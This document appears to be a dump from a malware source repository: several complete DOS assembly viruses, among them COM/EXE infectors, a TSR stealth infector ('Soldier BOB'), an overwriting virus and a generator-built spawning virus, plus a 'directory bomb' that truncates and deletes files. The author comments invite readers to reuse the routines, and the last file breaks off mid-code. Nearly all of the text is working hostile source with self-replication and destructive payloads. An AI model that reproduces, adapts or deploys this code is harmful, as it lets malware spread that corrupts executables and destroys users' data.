CALL SET_POINTER
MOV AH,040h
MOV CL,004h
LEA DX,[BP + NEW_4_BYTES]
INT 021h
DONT_INFECT:
MOV AX,05701h
POP DX
POP CX
INT 021h
MOV AH,03Eh
INT 021h
MOV AX,04301h
POP CX
MOV DX,09Eh
INT 021h
MOV AH,4Fh
JMP AGAIN
GO_ROOT:
MOV AH,03Bh
LEA DX,[BP + ROOT]
INT 021h
JC EXIT
JMP FIND_FILE
EXIT:
POP CX
POP SI
POP DI
REP MOVSB
RET
SET_POINTER:
MOV AH,042h
XOR CX,CX
CWD
INT 021h
RET
OLD_4_BYTES: NOP
NOP
NOP
RET
FIND DB "*.COM", 000h
ROOT DB "\", 000h
CUT DB ""
MARKER DB "[DR/TridenT]"
NAMED DB "Slim-Line 2 v0.9á"
COUNTRY DB "Holland"
NEW_4_BYTES DB 'D', 0E9h
LAST:
_CODE ENDS
END FIRST
+230
View File
@@ -0,0 +1,230 @@
virus segment public 'code'
assume cs:virus,ds:virus,es:virus
org 0
VirusSize equ VirusEnd-$
Com: call Begin
call Label2
PartPage equ this word+02h
PageCount equ this word+04h
HdrSize equ this word+08h
MinMem equ this word+0ah
MaxMem equ this word+0ch
ExeSS equ this word+0eh
ExeSP equ this word+10h
ExeSignature equ this word+12h
ExeStart equ this dword+14h
ExeIP equ this word+14h
ExeCS equ this word+16h
SavedCode:
mov ax,4c00h
int 21h
org SavedCode+18h
Label2: pop si
mov di,100h
push di
movsw
movsw
movsb
ret
Exe: call Begin
mov dx,ds
add dx,10h
add cs:ExeCS,dx
add dx,cs:ExeSS
mov ss,dx
mov sp,cs:ExeSP
jmp cs:ExeStart
Begin: push ds
push es
push ax
xor ax,ax
mov ds,ax
mov ds,ds:[46ah]
cmp Signature,0ACDCh
je Exit
mov ah,4ah
mov bx,-1
int 21h
sub bx,(VirusSize+1fh)/10h+1000h
jb Exit
add bh,10h
mov ah,4ah
int 21h
mov ah,48h
mov bx,(VirusSize+0fh)/10h
int 21h
jb Exit
dec ax
mov es,ax
inc ax
mov es:[1],ax
mov es,ax
push cs
pop ds
call Label1
Label1: pop si
sub si,offset Label1
xor di,di
push di
mov cx,VirusSize
rep movsb
pop ds
mov ax,ds:[84h]
mov word ptr es:OldInt21[0],ax
mov ax,ds:[86h]
mov word ptr es:OldInt21[2],ax
mov byte ptr ds:[467h],0eah
mov word ptr ds:[468h],offset NewInt21
mov ds:[46ah],es
mov word ptr ds:[84h],7
mov word ptr ds:[86h],46h
Exit: pop ax
pop ds
pop es
ret
Header db 0e9h
dw 0
Signature dw 0ACDCh
NewInt21:
cmp ah,4bh
je Exec
jmp short EOI
Exec: push ax
push bx
push cx
push dx
push ds
mov ax,3d02h
call Interrupt
jc short Error
push cs
pop ds
mov bx,ax
mov ah,3fh
mov cx,18h
mov dx,offset SavedCode
call DOS
cmp word ptr cs:SavedCode,5a4dh
je ExeFile
ComFile:cmp word ptr cs:SavedCode[3],0ACDCh
je short Close
mov al,02h
call Seek
or dx,dx
; jmp short Close
cmp ah,0f6h
je short Close
sub ax,5
; jmp short Close
inc ax
inc ax
mov word ptr ds:Header[1],ax
mov ah,40h
mov cx,VirusSize
xor dx,dx
call DOS
mov al,00h
call Seek
mov ah,40h
mov cx,5
mov dx,offset Header
call Interrupt
Close: mov ah,3eh
call Interrupt
Error: pop ds
pop dx
pop cx
pop bx
pop ax
EOI: db 0eah ; jmp 0:0
OldInt21 dd 026b1465h
ExeFile:cmp ExeSignature,0ACDCh
je short Close
mov al,02h
call Seek
add ax,0fh
adc dx,0
and al,0f0h
xchg ax,dx
mov cx,ax
mov ax,4200h
call DOS
mov cx,10h
div cx
or dx,dx
jne Close
mov dx,ax
sub dx,HdrSize
push dx
mov cx,10h
mul cx
add ax,VirusSize
adc dx,0
mov cx,200h
div cx
inc ax
push ax
push dx
mov ah,40h
mov cx,VirusSize
xor dx,dx
call Interrupt
pop PartPage
pop PageCount
pop ax
jc Close
mov ExeCS,ax
mov ExeIP,offset Exe
add ax,(VirusSize+0fh)/10h
mov ExeSS,ax
mov ExeSP,200h
cmp MinMem,20h
jae Mem1
mov MinMem,20h
Mem1: cmp MaxMem,20h
jae Mem2
mov MaxMem,20h
Mem2: mov al,00
call Seek
mov ah,40h
mov cx,18h
mov dx,offset SavedCode
call Interrupt
jmp Close
Seek: mov ah,42h
xor cx,cx
xor dx,dx
DOS: call Interrupt
jnc Ok
pop ax
jmp Close
Interrupt:
pushf
call cs:OldInt21
Ok: ret
VirusEnd equ $
virus ends
end
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+190
View File
@@ -0,0 +1,190 @@
.model tiny
.code
.radix 16
.code
; Phalcon/Skism _Small virus
; Written by Dark Angel of Phalcon/Skism
; 278 byte generic COM/EXE infector
EXE_ID = -40
viruslength = heap - _small
startload = 90 * 4
_small:
call relative
oldheader dw 020cdh
dw 0bh dup (0)
relative:
pop bp
push ds
push es
xor ax,ax
mov ds,ax
mov es,ax
mov di,startload
cmp word ptr ds:[di+25],di
jz exit_small
lea si,[bp-3]
mov cx,viruslength
db 2Eh
rep movsb
mov di,offset old21 + startload
mov si,21*4
push si
movsw
movsw
pop di
mov ax,offset int21 + startload
stosw
xchg ax,cx
stosw
exit_small:
pop es
pop ds
or sp,sp
jnp returnCOM
returnEXE:
mov ax,ds
add ax,10
add [bp+16],ax
add ax,[bp+0e]
mov ss,ax
mov sp,cs:[bp+10]
jmp dword ptr cs:[bp+14]
returnCOM:
mov di,100
push di
mov si,bp
movsw
movsb
ret
infect:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,3d02
int 21
xchg ax,bx
push cs
pop ds
push cs
pop es
mov si,offset oldheader+startload
mov ah,3f
mov cx,18
push cx
mov dx,si
int 21
cmp ax,cx
jnz go_already_infected
mov di,offset target + startload
push di
rep movsb
pop di
mov ax,4202
cwd
int 21
cmp ds:[di],'ZM'
jz infectEXE
sub ax,3
mov byte ptr ds:[di],0e9
mov ds:[di+1],ax
sub ax,viruslength
cmp ds:[si-17],ax
jnz finishinfect
go_already_infected:
pop cx
jmp short already_infected
int21:
cmp ax,4b00
jz infect
jmp short chain
infectEXE:
cmp word ptr [di+10],EXE_ID
jz go_already_infected
push ax
push dx
add ax,viruslength
adc dx,0
mov cx,200
div cx
or dx,dx
jz nohiccup
inc ax
nohiccup:
mov ds:[di+4],ax
mov ds:[di+2],dx
pop dx
pop ax
mov cx,10
div cx
sub ax,ds:[di+8]
mov ds:[di+14],dx
mov ds:[di+16],ax
mov ds:[di+0e],ax
mov word ptr ds:[di+10],EXE_ID
finishinfect:
mov ah,40
mov cx,viruslength
mov dx,startload
int 21
mov ax,4200
xor cx,cx
cwd
int 21
mov ah,40
mov dx,di
pop cx
int 21
already_infected:
mov ah,3e
int 21
exitinfect:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
chain:
db 0ea
heap:
old21 dw ?, ?
target dw 0ch dup (?)
endheap:
end _small
+190
View File
@@ -0,0 +1,190 @@
;skism directory bomb v1.00
;written by hellraiser
;this is a lame bomb consisting of repetative/error full code
;but it gets the job done
;when run this program will start at the first directory from the root
;and trash all files in first level directorys
;then create a directory in place of the distroyed file name
;it will also create a semi-removable directory called skism
;yes bombs are very lame, and be advised, this is the only bomb
;skism shall ever write... but we must try everything once
;be warned, the tech used by this program does not only erase files but
;it will also truncate them to 0 bytes, the skism method.
code segment 'code'
assume cs:code,ds:code,es:code
org 0100h
main proc near
jmp start
thestoppa db 1ah ;EOF char to stop TYPE command
filecards db '*.*',0 ;wildcards for files
dircards db '*',0 ;wildcards for directorys
root db '\',0 ;root directory path
default db 64 DUP (?) ;buffer to hold current dir
dirdta db 43 DUP (?) ;DTA for dirs
filedta db 43 DUP (?) ;DTA for files
dseg dw ? ;holds old dir DTA segment
dofs dw ? ;holds old dir DTA segment
start:
mov di,offset vl ;decrypt skism string
mov si,offset vl ;
mov cx,09h ;
cld ;
repeat:
lodsb ;
xor al,92h ;
stosb ;
dec cx ;
jcxz bombstart ;
jmp repeat ;
bombstart:
mov dx,offset dirdta ;set DTA to hold directorys
mov ah,1ah ;DOS set DTA function
int 21h ;
mov ah,19h ;get drive code
int 21h ;
mov dl,al ;save drive code into dl
inc dl ;translate for function 3bh
mov ah,47h ;save current dir
mov si, offset default ;save current dir into buffer
int 21h ;
mov dx,offset root ;change dir to root
mov ah,3bh ;
int 21h ;
mov cx,13h ;find directorys
mov dx,offset dircards ;find only directorys
mov ah,4eh ;find first file
scanloop:
int 21h ;
jc quit ;quit if no more dirs/error
jmp changedir ;change to that dir
findnextdir:
mov ah,4fh ;find next directory
mov dx,offset dircards ;
jmp scanloop
changedir:
mov dx,offset dirdta + 30 ;point to dir name in DTA
mov ah,3bh ;change directory
int 21h ;
smash:
mov ah,2fh ;
int 21h ;
mov [dseg],es ;save dir DTA segemnt
mov [dofs],bx ;and offset
int 21h
mov dx,offset filedta ;use file DTA as new DTA
mov ah,1ah ;
int 21h ;
mov cx,0007h ;find flat attributes
mov dx,offset filecards ;point to '*.*',0 wildcard spec
mov ah,4eh ;find first file
filescanloop:
int 21h ;
jc done ;quit on error/no files found
mov ax,4301h ;clear files attributes
xor cx,cx ;
mov dx, offset filedta + 30 ;
int 21h ;
jc quit
mov ah,3ch ;truncate file
int 21h
jc quit
mov bx,ax ;save handle
jc done
mov ah,41h ;erase file
int 21h ;
mov ah,3eh ;close file
int 21h ;
mov ah,39h ;make directory in place of file
int 21h ;
mov ah,4fh ;find next
jmp filescanloop
done:
mov ah,1ah ;restore directory DTA
mov ds,[dseg] ;
mov dx,[dofs] ;
int 21h
mov dx,offset root ;change dir to root
mov ah,3bh ;
int 21h ;
jmp findnextdir
quit:
mov ah,3bh
mov dx,offset root ;change to root
int 21h
mov ah,39h
mov dx,offset vl
int 21h
jc restore
restore:
mov dx,offset default ;restore original directory
mov ah,3bh ;
int 21h ;
mov ah,4ch ;
int 21h ;
vl db 0c1h,0f9h,0fbh,0e1h,0ffh,0bch,06dh,0b2h,06dh,0
filler db 28 dup(1ah)
main endp
code ends
end main

File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,255 @@
; SMLBOOT.ASM -- Small Booter Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Virucidal Maniac
virus_type equ 2 ; Spawning Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
mov ah,04Ah ; DOS resize memory function
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
int 021h
mov sp,(finish - start) + 01100h ; Change top of stack
mov si,offset spawn_name ; SI points to true filename
int 02Eh ; DOS execution back-door
push ax ; Save return value for later
mov ax,cs ; AX holds code segment
mov ds,ax ; Restore data segment
mov es,ax ; Restore extra segment
call search_files ; Find and infect a file
call get_floppies
cmp ax,0002h ; Did the function return 2?
jl strt00 ; If less, do effect
call get_serial
cmp ax,0002h ; Did the function return 2?
je strt00 ; If equal, do effect
jmp end00 ; Otherwise skip over it
strt00:
push bp ; Save BP
mov bp,sp ; BP points to stack frame
sub sp,34 ; Allocate 34 bytes on stack
mov ah,038h ; DOS get country function
lea dx,[bp - 34] ; DX points to unused buffer
int 021h
xchg bx,ax ; AX holds the country code
mov sp,bp ; Deallocate local buffer
pop bp ; Restore BP
end00: pop ax ; AL holds return value
mov ah,04Ch ; DOS terminate function
int 021h
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
mov dx,offset root ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
mov dx,offset up_dir ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
exe_mask db "*.EXE",0 ; Mask for all .EXE files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop: lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx,00100111b ; CX holds file attributes (all)
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h
mov ah,03Eh ; DOS close file function
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
spawn_name db 12,12 dup (?),13 ; Name for next spawn
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
get_floppies proc near
int 011h ; BIOS get equiment function
xor ah,ah ; Clear upper bits
mov cl,6 ; Shift AX right six bits,
shr ax,cl ; dividing it by 64
inc ax ; Add one (at least 1 drive)
ret ; Return to caller
get_floppies endp
get_serial proc near
int 011h ; BIOS get equiment function
xor ah,ah ; Clear upper bits
mov cl,9 ; Shift AX right nine bits
shr ax,cl ;
and ax,7 ; Clear all but two bits
ret ; Return to caller
get_serial endp
vcl_marker db "[VCL]",0 ; VCL creation marker
finish label near
code ends
end main
@@ -0,0 +1,69 @@
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
Article Title: The Smurf Virus
Author: Admiral Bailey
;---
; The Smurf virus [40 Bytes Long]
;
; Author : Admiral Bailey [YAM '92]
; Date : June 6 1992
; Language : Assembly [TASM 2.0]
;
; Notes:The Smurf virus was my first attempt at writing the smallest
; overwriting virus known. For a first attempt it wasn't that
; bad. So far I have got it down to 40 bytes. The record that
; does the same as this is about 38 bytes. So I gotta loose 2
; bytes in here somewhere. Well seeing as this small thing is
; probably the easiest virus in the world to disassemble, I have
; included the source in this issue of Evolution for all of you
; to take a look at. The source is for you to use. If you
; happend to make anything smaller using this source please just
; give recognition to myself, Admiral Bailey, saying that you got
; help looking at this source. The only thing that this does is
; find everyfile in the current directory and overwrite the 1st
; 40 bytes with itself. Then locks your computer while it is in
; a search loop looking for more file when there are none. A
; neat thing about this is that it displays its entire self to
; the screen when executed. Scan 91 notices this as the mini
; virus but I dont blame it seeing that you cant realy avoid
; scan when your virus gets this small. Well enjoy the source...
; and remember if you use it and enjoy it just let me know.
;---
code segment
assume ds:code, ss:code, cs:code, es:code
org 100h ;Make it a .com file
virus_start equ $
start:
mov dx,offset file_type ;type of file to look for
mov ah,4eh ;Find first file command
infect:
int 21h
mov ax,3d02h ;open again to reset handle
mov dx,80h+1eh ;moves filename into dx
int 21h
mov bx,ax ;save handle again
mov cx,virus_length ;put size of virus in cx
mov dx,100h ;where the code starts
mov ah,40h ;write to handle command
int 21h ;write virus into file
mov ah,3eh ;close handle service
int 21h ;do it
find_next_file:
mov ah,4fh ;find next file command
jmp infect
file_type db '*.*',0
virus_end equ $
virus_length = virus_end - virus_start ;length of virus
code ends
end start
@@ -0,0 +1,190 @@
; soitgoes.asm : [So it goes.]
; Created with Biological Warfare - Version 0.90á by MnemoniX
PING equ 0AC3Ch
INFECT equ 1
code segment
org 100h
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
db 0CDh,20h,0 ; host program
virus_begin:
push ds es
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
lea dx,[bp + offset new_DTA]
mov ah,1Ah
int 21h
mov byte ptr [bp + infections],0
call infect_dir
call activate
pop es ds
mov dx,80h
mov ah,1Ah
int 21h
com_exit:
lea si,[bp + host] ; restore host program
mov di,100h
push di
movsw
movsb
call fix_regs ; fix up registers
ret ; and leave
fix_regs:
xor ax,ax
cwd
xor bx,bx
mov si,100h
xor di,di
xor bp,bp
ret
infect_dir:
mov ah,4Eh
lea dx,[bp + find_me]
int 21h
jc infect_done
next_file:
lea dx,[bp + new_DTA + 1Eh]
call execute
cmp byte ptr [bp + infections],INFECT
je infect_done
mov ah,4Fh
int 21h
jnc next_file
infect_done:
ret
execute:
push si
mov ax,4300h ; change attributes
int 21h
push cx dx ds
xor cx,cx
call set_attributes
mov ax,3D02h ; open file
int 21h
jc cant_open
xchg bx,ax
mov ax,5700h ; save file date/time
int 21h
push cx dx
mov ah,3Fh
mov cx,28
lea dx,[bp + read_buffer]
int 21h
cmp word ptr [bp + read_buffer],'ZM'
je dont_infect ; .EXE, skip
mov al,2 ; move to end of file
call move_file_ptr
sub dx,VIRUS_SIZE + 3 ; check for previous infection
cmp dx,word ptr [bp + read_buffer + 1]
je dont_infect
add dx,VIRUS_SIZE + 3
mov word ptr [bp + new_jump + 1],dx
lea dx,[bp + read_buffer] ; save original program head
int 21h
mov ah,40h ; write virus to file
mov cx,VIRUS_SIZE
lea dx,[bp + virus_begin]
int 21h
xor al,al ; back to beginning of file
call move_file_ptr
lea dx,[bp + new_jump]
int 21h
fix_date_time:
pop dx cx
mov ax,5701h ; restore file date/time
int 21h
inc byte ptr [bp + infections]
close:
pop ds dx cx ; restore attributes
call set_attributes
mov ah,3Eh ; close file
int 21h
cant_open:
pop si
ret
set_attributes:
mov ax,4301h
int 21h
ret
dont_infect:
pop cx dx ; can't infect, skip
jmp close
move_file_ptr:
mov ah,42h ; move file pointer
cwd
xor cx,cx
int 21h
mov dx,ax ; set up registers
mov ah,40h
mov cx,3
ret
activate: ; Insert your routine here
MOV CX,03h
MOV AH,09h
MOV BH,00h
MOV CX,03h
MOV AL,00h
MOV BL,23
INT 10h
ret
signature db '[So it goes.]',0
find_me db '*.COM',0
new_jump db 0E9h,0,0
infections db 0
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?) ; read buffer
new_DTA db 128 dup(?)
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start
@@ -0,0 +1,669 @@
.model tiny
.code
org 100h
; I made this virus for several month ago, then I forgott it. I recently found
; it on my harddrive, and I compiled it and tried it. To my amazement it worked!
;
; Soldier BOB infects .COM and .EXE files when you execute a file. It also
; saves up to 20 files into a buffer when you use the dos-command 'DIR'. And
; later when dos is counting how much diskspace that's free Soldier BOB will
; infect all files stored into the buffer. Filesize increases are hidden.
; When Soldier BOB has been resident for four hours it will fuck-up the whole
; screen. Try this routine, it's fun to see when your screen being totally mad.
;
; I don't really know exactly what Soldier BOB does because I haven't time to
; figure out all details, but since I've brought the source code, you are free
; to investigate that by yourself.
;
; Please feel free to rip routines and ideas from this source-code. My purpose
; is that everybody (who wants to) can be able to learn how to write a decent
; virus.
;
; If you need any help to write a virus, please do not hesitate to contact
; me on Internet.
;
; - regards, Macaroni Ted / A.N.O.I - 11-27-94
;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=);
; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
; ;
; S O L D I E R B O B ;
; ;
; Copyright (c) Jan-Mar 1994 by Macaroni Ted / A.N.O.I. ;
; ;
;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=);
start:
call get_bp
get_bp: pop bp
mov ax,0ff4eh ;(?N-)
int 21h
cmp ax,4f49h ;(-OI)
je already_res
push ds es
mov ah,2ch
int 21h
add ch,4
mov cs:start_time,ch
call hook_memory
push es
pop ds
call hook_interrupts
pop es ds
already_res:
cmp word ptr cs:[bp+(exe_header-get_bp)],'ZM'
je exit_exe
exit_com:
lea si,[bp+(exe_header-get_bp)]
mov di,100h
cld
movsb
movsb
movsb
movsb
movsb
xor ax,ax
mov bx,ax
mov cx,ax
mov dx,ax
mov si,ax
mov di,ax
push cs
push 100h
retf
exit_exe:
mov ax,es ;to code seg
add ax,10h
add ax,word ptr cs:[bp+(exe_header+16h-get_bp)]
push ax
push word ptr cs:[bp+(exe_header+14h-get_bp)]
retf
original_int21h dd ?
original_int1Bh dd ?
original_int09h dd ?
original_int1Ch dd ?
start_time db ?
db 'Soldier BOB - (c)jan-94 by A:N:O:I',10,13
db 'Programmed by Macaroni Ted'
hook_memory:
push ds
push cs
pop ds
mov cx,es
dec cx
mov es,cx
mov bx,word ptr es:[3h]
mov dx,virlen
mov cl,4
shr dx,cl
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah
int 21h
; jc exit_com
mov ah,48h
dec dx
mov bx,dx ;it's done
int 21h
; jc exit_com
dec ax
mov es,ax
mov cx,8h
mov word ptr es:[1h],cx
sub ax,0fh
mov di,100h ;begin of virus
mov es,ax
lea si,[bp+(start-get_bp)]
mov cx,virlen ;<=== virus len
cld
repne movsb
pop ds
ret
hook_interrupts: ;int 21h
mov ax,3521h
int 21h
mov word ptr [original_int21h],bx
mov word ptr [original_int21h+2],es
mov ax,2521h
lea dx,new_int_21h
int 21h
mov ax,351ch ;int 1Ch
int 21h
mov word ptr [original_int1ch],bx
mov word ptr [original_int1ch+2],es
mov ax,251ch
lea dx,new_int_1ch
int 21h
ret
push_all:
pop cs:tmp_adr
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp word ptr cs:tmp_adr
tmp_adr dw ?
db 'Soldier BOB - Made in Sweden'
pop_all:
pop cs:tmp_adr
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp word ptr cs:tmp_adr
int21h:
pushf
call dword ptr cs:original_int21h
retn
scroll: ;input ax
push bx dx cx ax
mov dx,3D4h
push ax
and al,0Fh
mov ah,8
xchg al,ah
out dx,ax
pop ax
mov cl,4
shr ax,cl
mov cx,50h
mul cx
mov cl,al
mov al,0Ch
mov dx,3D4h
out dx,ax
mov ah,cl
inc al
out dx,ax
pop ax cx dx bx
ret
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; Int 21h
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
new_int_21h:
pushf
call push_all
mov ah,2ch
call int21h
mov cs:time_h,ch
call pop_all
cmp ah,4bh ;execute
je execute_file
cmp ah,11h ;fool dir
je find__
cmp ah,12h
je find__
cmp ah,4eh ;dos 2.x
je find_
cmp ah,4fh
je find_
cmp ah,36h ;get free space
je get_free_space
cmp ax,0ff4eh ;mem check (?N)
je mem_check
exit_21h:
popf
jmp dword ptr cs:original_int21h
mem_check:
mov ax,4f49h ;(OI)
popf
iret
find_:
jmp find_new
find__:
jmp find_old
file_date dw ?
file_time dw ?
file_size1 dw ?
file_size2 dw ?
attribute dw ?
mask_com db '*.com',0
mask_exe db '*.exe',0
infected_files dw 0
execute_file:
call infect ;infect ds:dx
jmp exit_21h
get_free_space:
call push_all
push cs cs
pop ds es
lea si,file_buffer
restore_buffer:
lodsb
cmp al,0ffh ;end of buffer
je done_infecting
dec si
push si ;infect it
mov dx,si
call infect
pop si
get_eo_name:
lodsb
cmp al,0ffh
je done_infecting
or al,al
jnc get_eo_name
jmp restore_buffer
done_infecting:
mov byte ptr cs:[file_buffer],0ffh ;clear buffer
call pop_all
jmp exit_21h
find_old:
popf
call int21h
cmp al,0ffh
jne push_it
jmp no_more_files
push_it:
call push_all
mov ah,2fh ;get dta
int 21h
push es ;es:bx
pop ds ;ds:bx
mov si,bx ;ds:si
add si,16 ;ext name
lodsw
mov dx,ax
lodsb
cmp dx,'OC' ;ext=COM?
jne check_exe
cmp al,'M'
jne check_exe
jmp ext_ok
check_exe:
cmp dx,'XE' ;ext=EXE?
jne cancel_ff
cmp al,'E'
jne cancel_ff
ext_ok:
; mov si,bx
; add si,38
; lodsw
; cmp ax,0
; jne cancel_ff
mov si,bx ;check if already infected
add si,30
lodsw ;time
and al,00011111b
cmp al,14
je infected ;already infected (sec=28)
push cs
pop es
lea di,file_buffer
mov cx,260
get_end_of_buffer:
mov al,byte ptr es:[di]
cmp al,0ffh ;end of buffer?
je end_of_buffer
inc di
loop get_end_of_buffer
end_of_buffer:
cmp cx,14
jb cancel_ff
mov si,bx
add si,8 ;filename
mov cx,8
copy_filename:
lodsb
cmp al,20h
je copy_filename_klar
stosb
loop copy_filename
copy_filename_klar:
mov al,'.'
stosb
mov si,bx ;copy ext
add si,16
movsb
movsb
movsb
mov al,0
stosb
mov al,0ffh
stosb
jmp cancel_ff
infected:
mov si,bx ;alter size
add si,36
mov di,si
lodsw
sub ax,virlen
jz cancel_ff
stosw
cancel_ff:
call pop_all
no_more_files: retf 2 ;iret flags
find_new:
popf
call int21h
jnc more_files
retf 2
more_files:
pushf
call push_all
mov ah,2fh ;get dta
int 21h
push es ;es:bx
pop ds ;ds:bx
mov si,bx ;ds:si
add si,1eh ;filename
get_ext:
lodsb
or al,al
jnz get_ext
sub si,4
lodsw
cmp ax,'XE'
je check_E
cmp ax,'OC'
je check_M
cmp ax,'xe'
je check_e
cmp ax,'oc'
je check_m
jmp cancel_new
check_E:
lodsb
cmp al,'E'
je ext_is_ok
cmp al,'e'
je ext_is_ok
jmp cancel_new
check_M:
lodsb
cmp al,'M'
je ext_is_ok
cmp al,'m'
je ext_is_ok
jmp cancel_ff
ext_is_ok:
mov si,bx
add si,16h
lodsw ;time
and al,00011111b
cmp al,14
je infected2 ;already infected (sec=28)
mov dx,bx
add dx,1eh
call infect
jmp cancel_new
infected2:
mov si,bx
add si,1ah
mov di,si
lodsw ;alter size
sub ax,virlen
jz cancel_new
stosw
cancel_new:
call pop_all
popf
retf 2
infect:
call push_all
mov si,dx
mov ax,4300h ;get attrib
int 21h
mov cs:attribute,cx ;save it
xor cx,cx
mov ax,4301h ;force all attribs
int 21h
; mov ax,6C00h ;open file
